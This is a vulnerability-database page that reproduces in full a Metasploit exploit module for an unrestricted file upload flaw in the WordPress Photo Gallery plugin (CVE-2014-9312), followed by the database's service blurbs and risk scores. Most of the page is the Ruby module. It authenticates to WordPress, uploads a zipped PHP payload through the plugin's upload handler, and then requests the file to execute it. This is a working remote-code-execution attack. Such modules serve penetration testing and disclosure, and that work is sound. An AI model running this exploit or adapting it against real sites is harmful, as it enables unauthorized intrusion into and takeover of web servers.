Lucene search
+L

WordPress Photo Gallery Unrestricted File Upload

🗓️ 11 Feb 2015 01:03:51Reported by Kacper Szurek, rastatingType 
metasploit
 metasploit
🔗 www.rapid7.com👁 29 Views

WordPress Photo Gallery Unrestricted File Upload vulnerability allows remote attackers to execute arbitrary PHP code via the photo-gallery\photo-gallery.php script in version 1.2.5

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'
require 'json'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Photo Gallery Unrestricted File Upload',
      'Description'     => %q{Photo Gallery Plugin for WordPress contains a flaw that allows a
                              remote attacker to execute arbitrary PHP code. This flaw exists
                              because the photo-gallery\photo-gallery.php script allows access
                              to filemanager\UploadHandler.php. The post() method in UploadHandler.php
                              does not properly verify or sanitize user-uploaded files.

                              This module was tested on version 1.2.5.},
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Kacper Szurek', # Vulnerability disclosure
          'rastating'      # Metasploit module
        ],
      'References'      =>
        [
          ['OSVDB', '117676'],
          ['WPVDB', '7769'],
          ['CVE', '2014-9312'],
          ['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html']
        ],
      'DisclosureDate'  => '2014-11-11',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['photo-gallery < 1.2.6', {}]],
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('USERNAME', [true, 'The username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
      ])
  end

  def check
    check_plugin_version_from_readme('photo-gallery', '1.2.6')
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def generate_mime_message(payload, name)
    data = Rex::MIME::Message.new
    zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
    zip.add_file("#{name}.php", payload.encoded)
    data.add_part(zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"files\"; filename=\"#{name}.zip\"")
    data
  end

  def exploit
    print_status("Authenticating using #{username}:#{password}...")
    cookie = wordpress_login(username, password)
    fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
    print_good("Authenticated with WordPress")
    store_valid_credential(user: username, private: password, proof: cookie)

    print_status("Preparing payload...")
    payload_name = Rex::Text.rand_text_alpha(10)
    data = generate_mime_message(payload, payload_name)

    upload_dir = "#{Rex::Text.rand_text_alpha(5)}/"
    print_status("Uploading payload to #{upload_dir}...")
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => wordpress_url_admin_ajax,
      'vars_get'  => { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir },
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => data.to_s,
      'cookie'    => cookie
    )

    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
    print_good("Uploaded the payload")

    print_status("Parsing server response...")
    begin
      json = JSON.parse(res.body)
      if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil?
        fail_with(Failure::UnexpectedReply, 'Unable to parse the server response')
      else
        uploaded_name = json['files'][0]['name'][0..-5]
        php_file_name = "#{uploaded_name}.php"
        payload_url = normalize_uri(wordpress_url_backend, upload_dir, uploaded_name, php_file_name)
        print_good("Parsed response")

        register_files_for_cleanup(php_file_name)
        register_files_for_cleanup("../#{uploaded_name}.zip")
        print_status("Executing the payload at #{payload_url}")
        send_request_cgi(
        {
          'uri'     => payload_url,
          'method'  => 'GET'
        }, 5)
        print_good("Executed payload")
      end
    rescue
      fail_with(Failure::UnexpectedReply, 'Unable to parse the server response')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 26.5
CVSS 38.8
EPSS0.45354
29